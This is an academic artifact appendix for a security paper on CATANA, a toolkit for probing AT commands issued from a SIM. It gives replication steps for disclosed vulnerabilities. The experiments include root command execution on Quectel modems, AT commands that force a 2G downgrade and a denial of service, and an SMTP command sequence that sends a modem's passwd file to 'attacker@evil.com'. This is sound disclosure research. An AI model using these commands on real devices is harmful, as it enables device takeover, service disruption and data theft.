USENIX WOOT '26 Artifact Appendix: CATANA: On the Dangers of SIM-Originating AT Commands

Tomasz Piotr Lisowski
University of Birmingham

Kristian Covic
Fuzzware

Marius Muench
University of Birmingham

A Artifact Appendix

A.1 Abstract

CATANA is a toolkit for exploring the SIM AT attack surface. It consists of four independent tools: *(1)* CATTTY for executing SIM AT commands in emulated and interposed setups, *(2)* CATAUTO to automate batch execution of SIM AT commands, *(3)* CATVIEW for analyzing results of such batch execution, and *(4)* CATLET to run SIM AT commands from a dedicated SIM applet. Together, these tools allowed us to uncover multiple security vulnerabilities in smartphones and cellular IoT devices.

A.2 Description & Requirements

This artifact appendix and accompanying code provide key experiments showing the usage of the CATANA toolkit, as well as practically showcasing identified security flaws.

A.2.1 How to access

The artifact evaluation repository is available at: `https://open.liskra.org/git/repo/catana/woot_2026__ae.git` `da41d696978dad87327c224c064c77da48b2ca5e`[1]

CATANA tools are available individually at the following Git repositories:

- CATTTY `https://open.liskra.org/git/repo/catana/cattty.git` `7553bd0d4c94e827919ea3274263134929c3bf54`
- CATAUTO `https://open.liskra.org/git/repo/catana/catauto.git` `f3b39612c3ecaaaa8848209c6f9dd05ea5d19f25`
- CATVIEW `https://open.liskra.org/git/repo/catana/catview.git` `10cc7e2943c312d6df653315c0fdbabb59bf8825`
- CATLET `https://open.liskra.org/git/repo/catana/catlet.git` `7141a4c6189d1ca8d1f77f7dc20fcbf50d5423aa`

[1]We include commit hashes for accuracy. A stable version of the artifact repository is available at: `https://doi.org/10.5281/zenodo.21864220`.

Figure 1: The remote setup available to artifact evaluators.

A.2.2 Hardware dependencies

To execute all experiments described in the artifact evaluation, the following hardware components are required:

1) One smart card reader.
2) One research SIM with known key material (e.g., sysmoISIM-SJA5 cards).
3) One activated commercial SIM, which can attach to networks in the area.
4) One SIMtrace2 board with cardem firmware.
5) One victim smartphone (e.g., OPPO Reno 14 F 5G) with ADB authorization for the host.[2]
6) One victim IoT module (e.g., Quectel EC25-AFX) with an activated ADB interface.[2]
7) (Optional) An additional smart card reader, to avoid switching of SIMs between experiments.

Remote setup during artifact evaluation. To ease the process of artifact evaluation, we provided remote access to a machine with *all physical hardware attached* to the artifact evaluators. The remote setup is shown in Figure 1.

[2]ADB is used for automated reboots and verification of attack success.

A.2.3 Security, Privacy, and Ethical Concerns

A portion of the experiments include attacks against victim devices. We disclosed all described attacks to the affected vendors, who either have fixes underway, or do not treat these findings as security issues. At the time of publication, upstream fixes will be available for all described attacks.

Additionally, a part of the experiments interpose communication with real-world SIMs. For reproduction of the described experiments, evaluators ***must*** have permission to test the target victim devices. While unlikely, some SIM AT commands may result in irrecoverable device states and we highly recommend testing on research, rather than personal, devices.

A.2.4 Software dependencies

The artifact was tested on an x86 64 bit Ubuntu 26.04 host system. The following build dependencies are required for the artifact evaluation repository:

```
cowsay tmux git gcc cmake make libpcsclite-dev pcscd pcsc-tools
pkg-config libpcsclite1 adb autoconf libtool libtalloc-dev
liburing-dev gnutls-dev libmnl-dev libsctp-dev libusb-1.0-0-dev
python3-aiosmtpd
```

Additionally, parts of the artifact require Docker. The recommended method of installing Docker can be found in a guide available at https://docs.docker.com/engine/install/ubuntu/.

A.2.5 Benchmarks

None.

A.3 Set-up

A.3.1 Installation

Obtain the CATANA experiment repository:

```
$ git clone \
https://open.liskra.org/git/repo/catana/woot2026_ae.git
```

We prepared a script that installs all dependencies and builds all the source code for the entire artifact and all experiments. Run it with the following command:

```
$ ./ae__install.sh
```

Alternatively, individual experiments can be installed individually by running their respective installation script:

```
$ ./<claim_id>_2_2__software.sh
```

A.3.2 Basic Test

We prepared a script for ensuring that dependency installation and any source code compilation were successful. Run it with the following command:

```
$ ./ae__basic_test.sh
```

The script should indicate that all dependencies exist and all daemons are running, as shown below:

```
Dependency "docker" exists.
Dependency "zig" exists.
Dependency "cattty" exists.
Dependency "libosmocore" exists.
Dependency "simtrace2" exists.
Dependency "swicc_pcsc" exists.
Dependency "catauto" exists.
Dependency "catview" exists.
Dependency "jcc" exists.
Dependency "pysim" exists.
Dependency "catlet" exists.
Dependency "poc__qtxiir" exists.
Check if PC/SC daemon is running: PASS.
Check if ADB daemon is running: PASS.
```

A.4 Evaluation workflow

A.4.1 Major Claims

CATANA is a suite of tools. We make the following claims about the individual tools:

(C1): CATTTY enables SIM AT attack surface exploration by emulating a SIM with a proactive application.

(C2): CATTTY enables SIM AT attack surface exploration by interposing communication with a physical SIM.

(C3): CATTTY provides a one-shot feature for injecting a single SIM AT command for non-interactive automation.

(C4): CATAUTO automates the dispatch of a large number of AT commands using CATTTY.

(C5): CATVIEW analyzes the output from CATAUTO to produce a human-readable and portable JSON file.

(C6): CATLET interactively executes SIM AT commands from a specialized SIM applet, which is controlled by a host application.

Additionally, in our security case studies, we make the following claims:

(C7): (Unpatched) Quectel IoT modems have an arbitrary command execution vulnerability triggerable from the SIM AT interface.

(C8): (Unpatched) Smartphones are vulnerable to 2G downgrade and denial-of-service attacks via the SIM AT interface.

(C9): (Unpatched) Quectel IoT modems are vulnerable to symlink-based path traversal attack, allowing to disclose files to an attacker via the SIM AT interface.

A.4.2 Experiments

For each claim, we provide a supporting experiment.

(E1): CATTTY—Host-Emulated SIM.
[5 human-minutes + 10 compute-minutes + 500M disk]
Sending SIM AT commands interactively to the target UE using a host-emulated SIM.

Preparation: Create a physical setup consisting of a host computer, a target device with ADB access, and a SIMtrace2 with cardem firmware. SIMtrace2 needs to be connected to the host via USB and the SIM adapter needs to be inserted in the SIM slot of the target device. Then, prepare the software environment:

```
$ ./1_2_2__software.sh;
```

Execution: Run the following command:

```
$ sudo ./1_3__replication.sh;
```

Follow the interactive prompts and wait until the target device is automatically rebooted.
Results: This experiment creates a tmux session with three panes. The top pane provides the interactive CATTTY shell. In this shell, the user can interactively send SIM AT commands (e.g., `ATI`) to the target device and see the received responses.

(E2): CATTTY—Interposed SIM.
[5 human-minutes + 10 compute-minutes + 500M disk]
Sending SIM AT commands interactively to the victim device by interposing SIM communication.

Preparation: Create a physical setup as described in *(E1)*. Additionally, attach a card reader to the host with a SIM inserted.
Then, prepare the software environment:

```
$ ./2_2_2__software.sh;
```

Execution: Run the following command:

```
$ sudo ./2_3__replication.sh;
```

Follow the interactive prompts and wait until the target device is automatically rebooted.
Results: This experiment creates a tmux session with three panes. The top pane is CATTTY in one-shot mode. The user will see the automated execution of the `ATI`) command and the response of the target device.

(E3): CATTTY—One-shot Mode.
[5 human-minutes + 10 compute-minutes + 500M disk]
Automatically sending a SIM AT command to the victim device.

Preparation: Create a physical setup as described in *(E1)*. Then, prepare the software environment:

```
$ ./3_2_2__software.sh;
```

Execution: Run the following command:

```
$ sudo ./3_3__replication.sh;
```

Follow the interactive prompts and wait until the target device was automatically rebooted.
Results: This experiment creates a tmux session with three panes. The top pane provides the interactive CATTTY shell. In this shell, the user can interactively send SIM AT commands (e.g., `ATI`) to the target device and see the received responses.

(E4): CATAUTO—Automated Command Execution.
[5 human-minutes + 30 compute-minutes + 500M disk]
Automatically sends multiple SIM AT command to the victim device and collects responses into an output file.

Preparation: Create a physical setup as described in *(E1)*. Then, prepare the software environment:

```
$ ./4_2_2__software.sh;
```

Optionally, modify the list of AT commands that will be tested, by modifying "`catauto__input.txt.bak`".
Execution: Run the following command:

```
$ sudo ./4_3__replication.sh;
```

Follow the interactive prompts. CATAUTO will now automatically execute the provided AT commands and reboot the target device in-between.
Results: This experiment creates a tmux session with three panes. The top pane shows the execution status of CATAUTO. After execution of all AT commands, the results are available in the file *"catauto__output.txt"*.

(E5): CATVIEW—Producing human readable analysis logs.
[5 human-minutes + 5 compute-minutes + 500M disk]
Analyzes the output of CATAUTO, and produces a JSON report.

Preparation: Ensure *E4* was successfully executed.
Then, prepare the software environment:

```
$ ./5_2_2__software.sh;
```

Execution: Run the following command:

```
$ sudo ./5_3__replication.sh;
```

Results: This experiment will show the CATVIEW generated JSON file for successfully executed AT commands in *(E4)*.

(E6): CATLET—Executing SIM AT commands from a SIM.
[5 human-minutes + 15 compute-minutes + 500M disk]
Interactive AT command execution without SIMTrace2.

Preparation: Create a hardware environment consisting of a target device (e.g., Quectel EC25-AFX) and a smart card reader with inserted research SIM card. The host computer must have access to an AT interface of the target device. We assume this AT interface is exposed through a serial device on the host.[3]
Then, prepare the software environment:

```
$ ./6_2_2__software.sh;
```

Now, identify the USB path to the smart card reader with an inserted research SIM, by running `lsusb` (*"Bus 001 Device 057"* means the path is `001/057`). To install CATLET on the card, execute:

[3] `/dev/ttyUSB3` for the setup available to artifact evaluators.

```
$ # Prepare installation/deletion scripts
$ ./6_2_3__cardlet.sh script <kic1> <kid1> <kik1>
$ # Delete previous CATlet applets, if present
$ /6_2_3__cardlet.sh delete <usb_path>
$ # Install CATlet
$ ./6_2_3__cardlet.sh install <usb_path>
```

Execution: Run the following command:

```
$ sudo ./6_3__replication.sh;
```

Results: This experiment will create a tmux session with two panes. The top pane is the CATLET shell, the bottom pane the ADB shell on the victim device.
The CATLET shell allows to interactively execute SIM AT commands. For instance, executing `sim at "AT+CFUN=1,1"` will cause a reboot of the device, terminating both the CATlet and ADB connections.

(E7): Vulnerabilities—Arbitrary Command Execution.
[5 human-minutes + 5 compute-minutes + 500M disk]
Interactive AT command execution without SIMTrace2.

Preparation: Create a physical setup as described in *(E6)* and ensure CATLET is installed.
Then, prepare the software environment:

```
$ ./7_2_2__software.sh;
```

Execution: Run the following command:

```
$ sudo ./7_3__replication.sh;
```

Results: This experiment will create a tmux session with two panes. The top pane runs the attack, and the bottom pane contains an ADB shell on the victim device. After the attack finishes, we can execute commands using the command displayed in the top pane. Note that executed commands will not produce output. One example command to execute could be:

```
$ sudo <path/to/poc__qtxiir> <usbpath> "id > /tmp/id"
```

The effects of this command can then be verified in the ADB shell inside the bottom pane:

```
# cat /tmp/id
uid=0(root) gid=0(root)
```

(E8): Vulnerabilities—Downgrade & DoS.
[20 human-minutes + 5 compute-minutes + 500M disk]
Reducing functionality of mobile smartphones.

Preparation: Create a physical setup as described in *(E2)*.
Then, prepare the software environment:

```
$ ./8_2_2__software.sh;
```

Execution: Run the following command:

```
$ sudo ./8_3__replication.sh;
```

Follow the interactive prompts and wait until the target device is automatically rebooted.

Results: This experiment will create a tmux session with three panes.
For the downgrade attack, the top pane uses CATTTY in one-shot mode to execute the following command:

```
"AT+COPS=0,,,0"
```

To verify the success of this attack, physical access to the phone is required. On the Android UI, perform a network scan; after the attack, this should only list 2G networks.
For the DoS attack, the top pane uses CATTTY in one-shot mode to execute the following command:

```
"AT+CFUN=0"
```

After execution, the SIMtrace2 log (bottom left pane) will show the modem disconnecting, followed by no further logs after executing the attack:

```
DLGLOBAL NOTICE => IRQ STATUS: flags=0x13, fi=1, di=1,
      wi=10 wtime=9600 (RESET VCC CLK )
DLGLOBAL NOTICE => IRQ STATUS: flags=0x12, fi=1, di=1,
      wi=10 wtime=9600 (RESET CLK )
DLGLOBAL NOTICE => IRQ STATUS: flags=0x10, fi=1, di=1,
      wi=10 wtime=9600 (RESET )
```

From here, a reboot is required to restore the modem functionality.

(E9): Vulnerabilities—Symlink-based path traversal.
[20 human-minutes + 5 compute-minutes + 500M disk]
Exfiltrating data from IoT modems via SIM AT commands.

Preparation: Create a physical setup as described in *(E2)*. Ensure that the SIM to be interposed has a valid and active data subscription. Additionally, prepare an internet facing server.
Then, prepare the software environment:

```
$ ./9_2_2__software.sh;
```

Copy the file `‘9_2_2__smtp_server.py‘` to the public server.
Execution: Run the following command on the public server:

```
$ python3 9_2_2__smtp_server.py
```

Then, on the local machine with the modem connected run:

```
$ sudo ./9_3__replication.sh;
```

Follow the interactive prompts and wait until the target device is automatically rebooted.
Results: This experiment will create a tmux session with four panes. The top-left pane provides a CATTTY shell in interposer mode. To exfiltrate the target file using SMTP, run the following commands in the CATTTY shell:

```
# Establish and verify data connection
AT+QIACT=1
AT+QIACT?
# Prepare SMTP Context
AT+QSMTPCFG="contextid",1
AT+QSMTPCFG="smtpserver","{ServerIP}",{ServerPort}
AT+QSMTPCFG="sender","victim","victim@benign.com"
AT+QSMTPDST=1,1, "attacker@evil.com"
# Attach file to be disclosed
AT+QSMTPATT=1,1,"UFS:passwd"
# Send email
AT+QSMTPPUT=60
```

If everything succeeded, the python SMTP server running on the public host should receive the email with the exfiltrated file encoded in base64.

A.5 Version

Based on the LaTeX template for Artifact Evaluation V20231005. Submission, reviewing and badging methodology followed for the evaluation of this artifact can be found at https://secartifacts.github.io/usenixsec2026/.